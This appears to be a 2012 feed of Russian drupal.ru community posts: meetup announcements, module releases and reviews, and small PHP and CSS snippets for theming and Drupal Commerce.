На страницах проекта предполагаются блоки под рекламные места, скорее всего, для рекламы Web-студий

Ссылка на проект: drupalogy.ru
Мы на Facebook

Источник: http://www.drupal.ru/node/90038

Drupal-слёт’12 в Минске, 15-16 декабря


Началась открытая часть подготовки к drupal-слёту.

Собираем друпалеров, веб-разработчиков, гиков, интернет-активистов и желающих открыть для себя мир Drupal.
Цель проста расширить drupal-сообщество, поэтому мы выбрали лозунг: Будь социальным!

В прошлом году первый Слёт содержал больше теории, чем практики. В этом году мы хотим сделать событие, где участники будут не только слушать, но и максимально вовлекаться в коллективное творчество. Это хакатон, кодспринт, мастер-классы по передаче знаний и опыта. Доклады и обсуждения также предусматриваем. В общем – максимум общения в реале между профессионалами и новичками.

На слёте планируем рассмотреть не только drupal проблематику, но и смежные темы:
— открытые данные, их обработка, практическое использование, положение дел;
— альтернативные лицензии и drupal проекты;
— symfony как фреймворк для D8 (ищем желающих разработчиков раскрыть эту тему на слёте).
Список тем открыт, их можно самостоятельно добавить на сайте слёта.

Наш подход будет максимально неформальным – неконференция.

Приглашаем 15-16 декабря в Минск на Drupal-слёт.

Ссылка на сайт: drupal-sliot.by

Источник: http://www.drupal.ru/node/89784

Drupal Cafe’2012 в Москве. 26 октября, м. Чистые пруды / Тургеневская.

Итак, снова планируется провести Drupal Cafe в Москве.

В этом году я побывал на DrupalCamp Kiev, встречался со многими интересными людьми, общался на БОФах и получил несколько полезных подсказок. Опишу некоторые из них и планируемую встречу в октябре. Итак, вот некоторые выкладки – все эти моменты конечно можно обсудить и покритиковать.

1. Мероприятие будет проводиться в один и тот же день месяца.
Я подумал и решил, что самое удобное время для этого – последняя пятница месяца. Почему так? В этот день у большинства офисных сотрудников раньше заканчивается рабочая неделя, что только способствует продуктивному общению. Это также последний будний день перед выходными, когда многие захотят провести время со своими друзьями и родными.

2. Мне уже поступало предложение организовать что-то проведения мастер-классов как для начинающих друпалистов, так и для людей, которые даже не знают, что такое Drupal.
В таком ключе есть несколько интересных тем, которые мне и самому очень было бы любопытно послушать и обсудить. Думаю на каждом мероприятии будет что-то такое. Возможно это поможет привлечь больше посетителей неспециалистов.

3. После проведения DrupalCafe с дискуссиями и чаем-кофе также планируется проводить небольшие посиделки, но уже в более неформальной обстановке.
Как я это вижу – провести 2-3 часа за обсуждениями, затем дойти до ближайшего злачного места и посидеть уже за столиками, употребляя пиво и кушанья. Это будет способствовать более тесному обсуждению некоторых идей – иногда люди в “пылу” дисскусий не всегда приходят к правильной мысли. И за кружкой пива с жареной картошечкой может прийти озарение.
При этом посещение непосредственно DrupalCafe будет бесплатно для всех участников, но вот с пивом и едой в кафе – за свой счет (что заказал, то и оплатил).

4. Настольные игры?

Подвожу итого. В этом месяце, в последнюю пятница октября будет проводится очередное DrupalCafe.
Это будет 26 октября. Ориентировочно начало встречи в 18:00 – 18:30.
К сожалению, забронировать GLINE не удалось. Мероприятие будет проводиться в месте под названием “[хорошая] республика”, находится она недалеко от м. Чистые пруды или м. Тургеневская.
Как пройти и адрес написан на сайте клуба тут
Дублирую тут на всякий случай
«Адрес: 101000, г. Москва, ул. Мясницкая 13, стр. 20
м. Чистые пруды
1.Последний вагон из центра, выход на Мясницкую улицу (в центр).
2.200 метров пешком по Мясницкой.
3.Свернуть в арку 13 дома с вывеской-стрелкой.
4.Прямо до белого здания и направо.
5.В тупичке — наше желтое здание с вывеской.»
Предварительно, встреча пройдет там же, где была в прошлый раз. Напоминаю, что это место находится недалеко от м. Китай-Город, Лубянка, здание по адресу Бол. Спасоглинищевский пер., 8. Называется это “коворкинг GLINE”, произносить как “Глина”. Зайти внутрь через магазин «Этношоп» и турбюро.
Рядом через дорогу есть неплохое место и для неформальных посиделок – клуб “Странное место”.

1 тема для обсуждения – логин пользователей на сайт через социальные сети (внешняя аутентификация). Дискуссию предложил автор модулей uLogin и HybridAuth 7.x-2.x. – Андрей Березовский.
2 тема для обсуждения – для продвинутых. “Выработка стандартов, рекомендаций и обмена опытом по профессиональной разработке на Drupal (web-разработка)” – Виктор Степаньков.

Также, у желающих будет возможность высказать свои пожелания по организации подобных мероприятий. Чего вам не хватает, какие возможности хотелось бы иметь под рукой? Например, поступало предложение о создании возможности подписки на новости по мероприятия – возможно у вас что-то еще будет, я с удовольствием готов это обсудить.

Источник: http://www.drupal.ru/node/88919

Drupal Cafe’2012 в Москве. Встреча в октябре

Итак, снова планируется провести Drupal Cafe в Москве.

В этом году я побывал на DrupalCamp Kiev, встречался со многими интересными людьми, общался на БОФах и получил несколько полезных подсказок. Опишу некоторые из них и планируемую встречу в октябре. Итак, вот некоторые выкладки – все эти моменты конечно можно обсудить и покритиковать.

1. Мероприятие будет проводиться в один и тот же день месяца.
Я подумал и решил, что самое удобное время для этого – последняя пятница месяца. Почему так? В этот день у большинства офисных сотрудников раньше заканчивается рабочая неделя, что только способствует продуктивному общению. Это также последний будний день перед выходными, когда многие захотят провести время со своими друзьями и родными.

2. Мне уже поступало предложение организовать что-то проведения мастер-классов как для начинающих друпалистов, так и для людей, которые даже не знают, что такое Drupal.
В таком ключе есть несколько интересных тем, которые мне и самому очень было бы любопытно послушать и обсудить. Думаю на каждом мероприятии будет что-то такое. Возможно это поможет привлечь больше посетителей неспециалистов.

3. После проведения DrupalCafe с дискуссиями и чаем-кофе также планируется проводить небольшие посиделки, но уже в более неформальной обстановке.
Как я это вижу – провести 2-3 часа за обсуждениями, затем дойти до ближайшего злачного места и посидеть уже за столиками, употребляя пиво и кушанья. Это будет способствовать более тесному обсуждению некоторых идей – иногда люди в “пылу” дисскусий не всегда приходят к правильной мысли. И за кружкой пива с жареной картошечкой может прийти озарение.
При этом посещение непосредственно DrupalCafe будет бесплатно для всех участников, но вот с пивом и едой в кафе – за свой счет (что заказал, то и оплатил).

4. Настольные игры?

Подвожу итого. В этом месяце, в последнюю пятница октября будет проводится очередное DrupalCafe.
Это будет 26 октября. Ориентировочно начало встречи в 18:00 – 18:30.
Предварительно, встреча пройдет там же, где была в прошлый раз. Напоминаю, что это место находится недалеко от м. Китай-Город, Лубянка, здание по адресу Бол. Спасоглинищевский пер., 8. Называется это “коворкинг GLINE”, произносить как “Глина”. Зайти внутрь через магазин «Этношоп» и турбюро.
Рядом через дорогу есть неплохое место и для неформальных посиделок – клуб “Странное место”.

Чуть позже будет уточнены названия тем для обсуждения, сейчас проводится сбор данных. Предварительно могу сказать, что возможно будет организована видеоконференция с Егором (gor, IT-Patrol inc.) с обсуждением интересной темы.

1 тема для обсуждения – логин пользователей на сайт через социальные сети (внешняя аутентификация). Дисскусию предложил автор модулей uLogin и HybridAuth 7.x-2.x.

Также, у желающих будет возможность высказать свои пожелания по организации подобных мероприятий. Чего вам не хватает, какие возможности хотелось бы иметь под рукой? Например, поступало предложение о создании возможности подписки на новости по мероприятия – возможно у вас что-то еще будет, я с удовольствием готов это обсудить.

Источник: http://www.drupal.ru/node/88919

Спецвыпуск журнала Linux Journal о Друпале

Linux Journal’s Special Drupal Issue brought to you by NewRelic
http://www.linuxjournal.com/content/drupal-special-edition
На английском, есть что почитать

Установка с нуля, создание тем, начала программирования, обзор сборок и т.д.

Кстати, сайт журнала на друпале.

Ссылки на прямое скачивание сознательно не размещаю, дабы не провоцировать сам журнал – не зря же они их “скрыли”. Кто ищет – тот найдёт.

Источник: http://www.drupal.ru/node/88806

[Решено][Ссылка] Настройка резервного копирования: Amazon S3 и Drupal

Привет!

По мотивам обсуждения вот тут, я решила написать как легко и просто можно настроить резервное копирование на облака Амазон С3.

Пошаговый гид на моем блоге

Источник: http://www.drupal.ru/node/88733

Обзор модулей

Бывает периодически нахожу очень полезные модули, которые многим давно уже известны… и думаю… почему же мне они не попадались раньше… Многие из перечисленных ниже модулей давно всем известны… но думаю кто-то всё-таки сможет найти что-то новое и полезное для себя. Все модули актуальны для Drupal 7 и используются периодически мною.

Разработка и обслуживание

Хорошая административная тема – Rubik Супер административное меню – Administration menu Удобный просмотр модулей – Module Filter Отобразить список изменений, внесённых каждым модулем на сайте – ModuleInfo Автоперевод интерфейса сайта и модулей – Localization update Отображать время до завершения режима разработки – Maintenance Countdown Сделать сайт доступным только для чтения – Read only mode Резервное копирование – Backup and Migrate Авто-генерация html-версий страниц – Boost Автоматически обновить сгенерированную модулем Boost html-страницу после редактирования материала – Boost Expire Автоматически сортировать и переименовывать загружаемые файлы – File (Field) Paths Отключить загрузку любого CSS-файла, генерируемого любым модулем (в том числе модулем ядра) – Disable css files

Юзабилити и упрощение интерфейса

Скрыть системные сообщение для определённых ролей – Disable Messages Отображать системные сообщения в виде уведомлений во всплывающих подсказках – Purr Messages Отображать системный статус посредством Ajax – System Status AJAX Сделать поля форм компактнее – Compact Forms Кнопка “Наверх” при прокручивании страниц – Back To Top Добавить классы odd / even к строкам таблиц – Table Alternate Rows Авто-включение добавления ссылок материалов в меню – Auto Menu Title Удобное добавление ссылок на сайте – Linkit (для корректного отображения адресов ссылок требуется модуль pathologic, после установки нужно включить в форматах текста фильтр pathologic) Удобное добавление изображений на страницы – Insert. В топку IMCE и elFinder! Удобный предпросмотр страниц – Page preview Удобное добавление видео с youtube на сайт – Googtube

СЕО

Подтвердить права на управление сайтом – Site Verification Автогенерация xml карты сайта для поисковых систем – XML sitemap Добавить мета теги к страницам – Meta tags (quick) (позволяет добавлять тип поля “Meta” для типов материала) Настроить заголовки для страниц – Page Title Убрать продублированные адреса страниц – Global Redirect Настройка автогенерации псевдонимов url-адресов – Pathauto Красивые адреса для административных страниц – Sub-pathauto (Sub-path URL Aliases) Автоматическая транслитерация адресов страниц и загружаемых файлов – Transliteration Спрятать email адреса со страниц от спам-ботов – Invisimail Отчищать поле пароля в форме авторизации – Clear saved password field Сделать CSS классы, генерируемые ядром системы короче – Fences

Источник: http://www.drupal.ru/node/88424

Алматы Друпал-кафе 6

Привет, алматинские друпалеры!

7го сентября будет очередное Друпал-кафе в нашем городе!

В этот раз планируем совместно рассмотреть:
1. Модули по SEO – Hossein J. Saroui
2. GIT и Features- Айрат ‘Dakanca’
3. И модули Drupal Commerce и Rules – Арман ‘Zil’

Детали здесь.

До встречи! : )

Источник: http://www.drupal.ru/node/88317

Как скачать движок рабочего сайта?

Есть сайт. michpravda.ru
Как скачать движок сайта (с модулями и темами)

Источник: http://www.drupal.ru/node/88309

[Состоялась] 25 сентября встреча друпалеров в Кирове

Знакомый организует небольшую встречу друпалеров в Кирове.

Кому интересно – отписывайтесь http://kirovnet.ru/forum/index.php?topic=795322 и присоединяйтесь

//Цитата ON

Привет тебе, читающий эту тему.

Так сложилось, что у меня есть большой опыт общения с друпалом (один из самых крутых CMS/движков для сайтов). Много было и сайтов мною сделано.

Что?
Буду регулярно проводить в Кирове встречи, подобные DrupalCafe.

Зачем?
Хочу поделиться знаниями с начинающими и не только. Новые люди, новые знакомства, новые интересы. Just for fun

Где?
Предлагаю собраться во вторник, 25 сентября, в кафе Ботаник, с 17.30 до 19 часов (время/место обсуждаемо).

Для кого?
Если ты начинающий в сайтостроении – приходи, я умею понятно и просто объяснять сложные вещи.
Если ты используешь другой инструмент (Bitrix/Umi/Netcat/MODx/Yii/Symfony) – приходи, обсудим плюсы и минусы.
Если ты уже используешь Drupal, то мы точно найдем о чем поговорить.

Кратенько о себе:

5 лет работы с друпалом (начинал с версии 4.6, помню что такое флексиноды, товарищей акселя, вадбарса, и разгонку)
Дофига знаний о contrib-модулях. Галереи изображений, гостевые, форумы, WYSIWYG, Commerce-инетмагазин, импорт/экспорт инфы, и прочая-прочая.
Работал в drupalhosting.ru (IT-Patrol) – домены, хостинг, DNS, перенос сайтов, drush, highload, sphinxsearch, оптимизация, поднятие из бэкапов, поиск ошибок, и т.п.
Участвовал в DrupalCamp.
Сейчас работаю по удаленке на московскую фирму, пишу модули на заказ.

Сфера нынешних интересов: деплой и автоматический перенос сайтов (aegir, vagrant, drush), тестирование (simpletest / selenium), RESTful API, анализ на уязвимости.

P.S. приветствуется репост, ретвит, и прочие способы сарафананного радио и сообщения своим друзьям об этом мероприятии.
Крайне желательно отписаться в этой теме о том, что придете (а также сообщить свой уровень знаний, чтобы я подготовил интересные темы).

//Цитата OFF

Источник: http://www.drupal.ru/node/88068

Ищу идеи статей для перевода

Есть свободное время. Могу перевести статьи/мануалы/ и тд. Жду ваших предложений

Источник: http://www.drupal.ru/node/88039

Правильное скругление углов для браузеров не поддерживающих border-radius в CSS

Статья не относится непосредственно к Drupal, но, я думаю, будет полезна начинающим сайтостроителям.

В статье описывается как грамотно скруглять углы для браузеров, которые не поддерживают CSS свойство border-radius. “Правильно” в данном контексте значит не перегружая код страницы дополнительными элементами.

Способ повторяемый, т.е. скрипт можно использовать как универсальный для любого сайта, без изменения верстки самого сайта.

Рекомендуется базовые знания html + javascript.

Ссылка на статью “Скругление углов без CSS и border-radius“

Источник: http://www.drupal.ru/node/88019

Модуль “Подача данных счётчика воды”

Добрый день!

Предлагаю на всеобщее обозрение свой модуль.

Во многих домах сейчас вода (холодная, горячая) учитывается по счётчикам.
Разные люди выходят из ситуации по-разному (бумажки, которые нужно отнести, писать в квитанциях, обходить квартиры и т.д.)
Пришло время решить эти проблемы по-новому.

Использование – городские сайты, сайты ТСЖ, управляющих компаний.

Возможности:

Предосталяет форму для заполнения данных счётчика воды (адрес http://ваш-сайт/water-meter) Отправляет форму на указанный email Сохраняет запись в логах Позволяет настраивать email, на который отправляются данные Позволяет просматривать логи отправки в админке

Установка

Установите модуль Настройте email, на который будут отправляться данные на странице admin/config/water-meter

Исходники
https://github.com/vitalyzhakov/water-meter

Демо
http://test.vnytve.ru/water-meter

Буду рад конструктивным замечаниям.

Возможна платная доработка под ваш сайт (пишите в личку).

Источник: http://www.drupal.ru/node/87844

Typo — Drupal 7 модуль для борьбы с опечатками на сайте

Разработал новый модуль для Drupal 7, который позволяет пользователю выделить мышью найденную в тексте опечатку и нажатием Ctrl + Enter отправить сообщение о ней администратору сайта. Модуль не зависит от внешних сервисов типа Орфуса и тесно интегрирован с популярными модулями Друпала такими как Rules, Token, Views и Views bulk operations.

Интеграция с модулями Rules и Token, позволяет, например, настроить отправку сообщений о найденных ошибках по е-мейлу, в системный журнал или вызвать любое другое действие, доступное в модуле Rules. С помощью токенов [typo:url], [typo:text] и [typo:comment] в текст сообщения можно включить информацию об опечатке.

Интеграция с Views позволяет сделать вывод списка ошибок на странице, в комплекте с модулем уже идет настроенное представление, а интеграция с Views bulk operations позволяет удалять из этого представления обработанные сообщения.

По умолчанию, все сообщения старше 3 дней автоматически удаляются, но это действие можно отключить в настройках модуля.

Popup-окно с формой отправки опечатки выводится модулем Ctools и его вид может быть изменён как правкой CSS-файла, так и правкой соответствующего tpl-файла. Ctools — это единственная зависимость модуля, остальные модули (Rules, Views, etc) нужны только если вы хотите использовать соответствующий функционал.

Скачать модуль можно на странице проекта: http://drupal.org/project/typo.

Испытать этот модуль вы можете на моем сайте, список отправленных отчетов об опечатках доступен всем посетителям здесь: http://romka.eu/typo-reports (на реальном сайте доступ к этому представлению анонимам лучше не давать).

Я знаю о существовании аналогичных модулей, но в приведенном примере захардкожено поведение модуля при отправке отчета об ошибке, мне же было необходимо не только отправлять отчеты по почте, но и выводить их списком, по этому пришлось написать свою версию.

P.S.

Встроенная в модуль вьюха по пока непонятной мне причине по умолчанию возвращает ошибку 404 после активации, чтобы избавиться от ошибки необходимо зайти в настройки вьюхи и пересохранить её.

Источник: http://www.drupal.ru/node/87839

Drupal поиск по русски

Представляю Вашему вниманию свой велосипед для поиска на русском языке в Drupal 7

Хотя я и являюсь сторонником поиска на Sphinx, однако не у всех есть возможность его использовать в силу тех или иных причин.

За основу был взят модуль search_api_db и приделан русский стемминг от Котерова.
Получился поиск, использующий БД и умеющий искать по части слова.

Что такое Search API?

Проект Search API реализует АПИ, который позволяет создать на сайте поиск по любым объектам Друпала, используя любые типы поисковых систем.

Для управляющего сайтом, этот модуль очень удобен тем, что он содержит поддержку и возможность использования модуля Views для показа результата поиска, настройки фильтров и так далее. Кроме того, интеграция с Apache Solr позволяет использовать на сайте эту очень быстродействующую поисковую систему.

Для разработчика, этот модуль очень удобен своей гибкостью и бесчисленными способами расширения возможностей. Растущее количество дополнительных модулей (смотрите список ниже), даёт возможность подробно настроить различные аспекты поиска.

Подробнее про Search API можно почитать тут

Спасибо за тестирование Георгию.

Багрепорт приветствуются. Спасибо.
Оригинал и страница для загрузки тут.

Источник: http://www.drupal.ru/node/87754

Схема БД Drupal 7

Время от времени задают вопрос “где увидеть схему таблиц и отношений БД друпала?”, а вот оно на drupal.org: http://drupal.org/files/er_db_schema_drupal_7.png Разумеется это только схема для модулей ядра.

Ссылку на схему на Google+ выложил Kostas Silas, новость тут.

Перетащил на drupal.ru, пусть себе хранится.

Прикрепленный файл Размер er_db_schema_drupal_7.png 1.87 Мб

Источник: http://www.drupal.ru/node/87080

Модуль фильтра таксономии для Views по типу Hierarchical Select

Модуль добавляет к Views фильтр таксономии с ajax. Т.е. как и Hierarchical Select – зависимые селекты, по одному на каждый уровень словаря таксономии. Работает с включенным ajax для представления, но не работает с включенным autosubmit в настройках стилей Exposed Form.

UPDATE: теперь работает в сочетании сам с собой. То есть можно добавить ещё точно такой же фильтр, но с другим словарем. Будет два на форме.

Демо: http://howtog.ru

Кому нужен, пишите в личку или в аську (в профиле).

Кто знает нормально работающий вариант такого фильтра — пишите здесь.
(Проблемы работы Hierarchical Select и Views навскидку: http://www.drupal.ru/node/71636 и http://www.drupal.ru/node/78019, ну и конечно http://drupal.org/node/1170192)

Источник: http://www.drupal.ru/node/87068

[СНИППЕТ] Drupal Commerce упрощенная корзина

Понадобилось сделать корзину в commerce попроще.

Вид типа N товаров – N руб

В template.php

<?php
function simple_commerce_cart() {
  global $user;

  $order = commerce_cart_order_load($user->uid);
  if(!empty($order)) {
    $wrapper = entity_metadata_wrapper('commerce_order', $order);
    $line_items = $wrapper->commerce_line_items;
    $total = commerce_line_items_total($line_items);
    $currency = commerce_currency_load($total['currency_code']);
    $quantity = commerce_line_items_quantity($line_items, commerce_product_line_item_types());
    $summ = commerce_currency_format($total['amount'], $total['currency_code']);

    print "{$quantity} товаров - {$summ}";
  }
  else {
    print "Ваша корзина пуста";
  }
}
?>

Вызываем где надо

<?php
          // Вывод упрощенной корзины. template.php
          print simple_commerce_cart();
?>

Собственно темезировать можно как надо. Это просто вывод текста.

Источник: http://www.drupal.ru/node/86922

Решение auto_nodetitle warning

Модуль Automatic Nodetitles нужен для автогенерации заголовков нод (пожалуйста)

Но при его использовании раз от раза материал отказывается сохранятся, выдавая:

Warning: htmlspecialchars() [function.htmlspecialchars]: Invalid multibyte sequence in argument в функции check_plain() ... PDOException: в функции drupal_write_record()

В issue проблема решается добавлением в модуль дополнительных функций экранирования и подмены.

Но мне это не помогло. Даже на основе текста без спецсимволов, заголовок иногда генерировался, иногда нет.

Решением стало замена substr на drupal_substr в функции auto_nodetitle_set_title

<?php
// Ensure the generated title isn't too long.
  $node->title = drupal_substr($node->title, 0, 255);  
?>

До кучи, в модуле Overlay для вывода названия редактируемой ноды зачем-то установлено:

#overlay-titlebar { white-space: nowrap; }

благодаря чему название выводится в одну строку (а это 255 символов), и вся страница растягивается до неприличия, поэтому в теме админки стоит это перекрыть

#overlay-titlebar { white-space: normal; }

пост на друпал.орг

update:

mb_substr заменен на drupal_substr добавлен патч

спасибо InternetDevels.com!

Прикрепленный файл Размер multibyte_substr.patch 604 байта

Источник: http://www.drupal.ru/node/86872

Drupal Cafe’2012 в Москве. 10 сентября 2012 г

Несмотря на всякие невзгоды и взгоды я продолжаю традицию проведения мероприятий DrupalCafe в городе Москва.

В этот раз мероприятие планируется провести 10 сентября, вечером, с 19 часов.

Интерактивная игра на Drupal. Антон Житарёв ( NaZg). Что же такое современный хостинг? Егор Марценюк, основатель компании IT-Patrol inc. Обсуждение инициатив Российской Друпал-ассоциации

Самое главное – в этот раз на мероприятии будет сюрприз. В качестве гостя и докладчика будет присутствовать человек-загадка. Этот человек достаточно известен в Drupal-сообществе, в том числе и среди русскоговорящих. Но самое интересное – наяву этого человека в России не видели уже несколько лет, даже те, кто с ним работает. И это при том, что так или иначе он со своим проектом влияет на подавляющее большинство участников российского Drupal-сообщества!!! У посетителей DrupalCafe 10 сентября будет шанс увидеть воочию этого человека, пообщаться с ним, узнать последние новости, а также сможет задать животрепещущие вопросы

Судя по всему сюрприз оказывается не сюрприз. Все уже догадались, что человек-закадка – это Егор

Место проведения находится недалеко от м. Китай-Город, Лубянка, здание по адресу Бол. Спасоглинищевский пер., 8.
Называется это “коворкинг GLINE”, произносить как “Глина”. Зайти внутрь через магазин «Этношоп» и турбюро.

Напоминаю свой номер телефона +79191049873, Алексей.

Источник: http://www.drupal.ru/node/86780

Видео курс: Drupal 7 Панели

Начал новый видео-курс по модулю Панели (Panels).
Он еще в разработке, но базовые вещи моменты уже показал.
Приятного просмотра!

Источник: http://www.drupal.ru/node/86762

[РЕШЕНИЕ] Вставить exposed фильтры в collapsible fieldset

Надо было сделать exposed фильтры во views скрывающимися. Видел в сборке Drupal Commons такое. Простой перенос tpl и css практически ничего не дал – там Drupal 6? то одно не работало, то другое.
Решения под Д7 не нашёл в одном месте (или плохо искал?). Собрал по крупицам:

Перетащить views/theme/views-exposed-form.tpl.php в тему и изменить к виду:


<?php
/**
 * @file views-exposed-form.tpl.php
 *
 * This template handles the layout of the views exposed filter form.
 *
 * Variables available:
 * - $widgets: An array of exposed form widgets. Each widget contains:
 * - $widget->label: The visible label to print. May be optional.
 * - $widget->operator: The operator for the widget. May be optional.
 * - $widget->widget: The widget itself.
 * - $sort_by: The select box to sort the view using an exposed form.
 * - $sort_order: The select box with the ASC, DESC options to define order. May be optional.
 * - $items_per_page: The select box with the available items per page. May be optional.
 * - $offset: A textfield to define the offset of the view. May be optional.
 * - $reset_button: A button to reset the exposed filter applied. May be optional.
 * - $button: The submit button for the form.
 *
 * @ingroup views_templates
 */
?>
<?php 
// Add collapsible fieldset js if it is not already included
drupal_add_js('misc/drupal.js');
drupal_add_js('misc/form.js');
drupal_add_js('misc/collapse.js');
?>

<?php if (!empty($q)): ?>
  <?php
    // This ensures that, if clean URLs are off, the 'q' is added first so that
    // it shows up first in the URL.
    print $q;
  ?>
<?php endif; ?>
<fieldset class="views-exposed-form collapsible collapsed">
<legend><span class="fieldset-legend"><?php print(t("Filter")); ?></span></legend>
  <div class="views-exposed-widgets fieldset-wrapper clearfix">
    <?php foreach ($widgets as $id => $widget): ?>
      <div id="<?php print $widget->id; ?>-wrapper" class="views-exposed-widget views-widget-<?php print $id; ?>">
        <?php if (!empty($widget->label)): ?>
          <label for="<?php print $widget->id; ?>">
            <?php print $widget->label; ?>
          </label>
        <?php endif; ?>
        <?php if (!empty($widget->operator)): ?>
          <div class="views-operator">
            <?php print $widget->operator; ?>
          </div>
        <?php endif; ?>
        <div class="views-widget">
          <?php print $widget->widget; ?>
        </div>
      </div>
    <?php endforeach; ?>
    <?php if (!empty($sort_by)): ?>
      <div class="views-exposed-widget views-widget-sort-by">
        <?php print $sort_by; ?>
      </div>
      <div class="views-exposed-widget views-widget-sort-order">
        <?php print $sort_order; ?>
      </div>
    <?php endif; ?>
    <?php if (!empty($items_per_page)): ?>
      <div class="views-exposed-widget views-widget-per-page">
        <?php print $items_per_page; ?>
      </div>
    <?php endif; ?>
    <?php if (!empty($offset)): ?>
      <div class="views-exposed-widget views-widget-offset">
        <?php print $offset; ?>
      </div>
    <?php endif; ?>
    <div class="views-exposed-widget views-submit-button">
      <?php print $button; ?>
    </div>
    <?php if (!empty($reset_button)): ?>
      <div class="views-exposed-widget views-reset-button">
        <?php print $reset_button; ?>
      </div>
    <?php endif; ?>
  </div>
</fieldset>
?>

Т.е. в tpl добавляется подключение js, fieldset, legend span, fieldset-wrapper в div.

Добавить CSS:

fieldset.views-exposed-form:after { clear: both; content: "."; display: block; height: 0; visibility: hidden; } html.js fieldset.views-exposed-form { margin: 18px 0; } html.js fieldset.collapsible { position: relative; } html.js fieldset.collapsible .fieldset-wrapper { overflow: visible; } fieldset.views-exposed-form { border: 1px solid #CCCCCC; clear: both; overflow: visible; padding: 0; }

CSS пока не чистил, возможно он избыточен, перетаскивал через firebug.

Использовано:
Частично Drupal Commons тема commons_roots
разбор кода misc/collapse.js
http://drupal.org/node/321779 – отличия от D6 в span.fieldset-legend и span.fieldset-wrapper
http://api.drupal.org/api/drupal/includes!form.inc/function/theme_fieldset/7#comment-13859 – подключение form.js

Источник: http://www.drupal.ru/node/86736

Drupal-cafe в Ростове-на-Дону

Всем привет, рад сказать что после длительного перерыва появилась возможность собрать очреденое друпал-кафе в Ростове-на-Дону.

Когда: 2 сентября, в 15:00. Длительность 1,5 часа
Где: Суворова, 52а карта

Программа: Установка друпал с 0. Создание простого сайта-каталога. Длительность: до 60 минут, включая время на холиварные вопросы. Уровень: для начинающих. Обсуждение DrupalCamp в Киеве, несколько человек из Ростова и Краснодара едут, обсудим кто как едет, какой график. Обсуждение ночного код-спринта, на предмет создания команды или участия в рамках украинских команд.

Проходить это будет в помещении коворкинг-центра Dobro: http://dobrocowork.ru/about .
Мероприятие бесплатное, приглашаются все желающие. Обязательна предварительная регистрация: http://dobrocowork.ru/drupalcafe-form .

Источник: http://www.drupal.ru/node/86530

Алматы Друпал-кафе 5

Привет, друпаллерам в Алматы,

2го сентября будет проходить очередное Друпал-кафе. Начиная с этой встречи мы снижаем частоту встреч до одного раза в месяц.

Темы, которые будут подниматься на встрече:
1. Работа с Git – ведет Виктор ‘Frio’
2. Субдомены с модулем Domain Access – ведет Арман Зил

Возможно, еще будут предложены дополнительные темы.
Если также вы хотите поделиться по какой-либо теме – предлагайте в комментах.

Детали встречи здесь.

Источник: http://www.drupal.ru/node/86446

Drupal Night, ночной кодспринт

Рад сообщить что за неделю до Kiev Drupal Camp 2012, на выходных, пройдет “Drupal Night”!

Что же это такое?

Это серия код – спринтов, которые будут проводиться ночью, под руководством отличных тимлидов!

Код – спринт пройдет одновременно в крупных городах Украины!

Почему ночь? на основании голосования никто не мешает ночью, т.к все нормальные спят) личный график лишь немного меняется в Америке тем временем день, значит комиты будут быстрее проходить + обратная связь будет быстрее! После спринта группа экспертов рассмотрит все работы и определит победителей, которые получат призы на киевском друпал-кэмпе 2012. Кроме того все участники расширят свои профили на drupal.org за счет комитов. Цели мероприятия: сделать лучше drupal! собрать команды разработчиков – единомышленников для продвижения украинского сообщества на drupal.org. познакомиться/повеселиться

Дата – в зависимости от региональных команд (см. таблицу команд)

Если ты хочешь:

сделать drupal лучше, активно интересуешься его развитием, или хочешь улучшить профиль на drupal.org, или поучаствовать в командной работе, или еще миллион причин (нужное допиши сам:),

то ждем тебя на предварительной встрече с 19 по 25 августа (обсуждения даты и места в facebook группе, вся информация на оф.странице http://camp12.drupal.ua/ru/news/ey-drupaler-privet в таблице городов).

Регистрация на код-спринт и предварительную встречу ЗДЕСЬ!

Источник: http://www.drupal.ru/node/86434

Views API. Описание своих таблиц.

Бывают задачи, для решения которых необходимо создавать свою таблицу в базе данных и потом своими же запросами взаимодействовать с этой таблицей. В таких случаях написание многочисленных запросов может быть весьма утомительным занятием. Для решения этой проблемы достаточно описать таблицу для всеми любимого модуля Views. Как это сделать мы и рассмотрим.

Полная статья »

Источник: http://www.drupal.ru/node/86430

Настройка отправки email для Drupal сайтов

Написал небольшой перевод статьи по простой настройке отправки email для Drupal сайтов. Для отправки можно использовать уже имеющийся аккаунт например на Gmail.

Источник: http://www.drupal.ru/node/85737

Синхронизация Drupal с 1С

Предисловие
Здравствуйте. Я решил затронуть давно избитую но не добитую тему синхронизации 1С и Друпала. Я во многих форумах читал насчет реализаций, на сайте drupal.ru помню даже тема была, с докладом о данной синхронизации. Но честно сказать везде рассказывали о том, что им удалось реализовать, но подробности никто не рассказывал. Потом я нашел еще несколько тем где была описана реализации, но если честно метод меня огорчил, реализация была выполнена на уровне БД. Данный метод меня не обрадовал, т.к. требовалась тонкая настройка самой программы 1С, а в моем случае нужно было написать синхронизацию, которую можно было настроить с помощью бесплатного модуля 1С: Предприятие 8.х – синхронизация с веб сайтом, который был разработан для CMS 1C Bitrix.

Не давно у меня появился проект, В котором нужно было реализовать синхронизацию с 1С. И сразу же нагрянул второй проект, где нужно было реализовать данный функционал. Т.к. мои поиски готовых решений не завершились удачей, я решил написать свой модуль, которая реалищует синхронизацию. Модуль сейчас готов, и пока что он “подточен” под конкретные проекты, но я не исключил возможность расширения для глобального использования. В этой статье я попрбую описать основные принципы и проблемы, которые я решил в процессе, пока писал модуль.

Я не профессиональный блогер, и навыков писать красивые статьи нет. Писал ночью. В связи с чем могут быть некоторые неувязки, обещаю исправить если найдутся ошибки=) прошу строго не судить, а вот критику и красивых решения хотелось бы почитать.
Читать весь материал

Источник: http://www.drupal.ru/node/85567

Алматы Друпал-кафе 3

Привет, алматинские друпаллеры!

Собираемся уже в третий раз на Друпал-кафе : )
Теперь будем обсуждать:
1. Друпал SEO – ведет Айрат “dakanca”
2. И продолжим спринт-код – ведет Виктор “frio”

Встреча будет 5-го августа в 16:00.
Место здесь. Детали здесь.

До встречи!

ПС. Сорри, что так объявляю всего за пару дней… были сложности с местом проведения.

Источник: http://www.drupal.ru/node/85513

[модуль] Добавление ссылки на сайт в скопированный текст

Настало время для очередного модуля.

На этот раз под прицел попал функционал добавления в скопированный текст ссылки на сайт, откуда этот текст скопировали. Подробно этот функционал обсуждался на хабре без малого два года назад; нашей задачей было внедрить это на Forbes.ru. Так родился модуль Add link to copied text.

Модуль предоставляет админку для настройки всех параметров плагина jQuery addtocopy + добавляет стили, чтобы сделать эту “добавочную стоимость” невидимой. Конечно же, код модуля следует стандартам кодирования и рекомендуемым практикам – поэтому нужно поместить код jQuery плагина в “sites/all/libraries/addtocopy”.

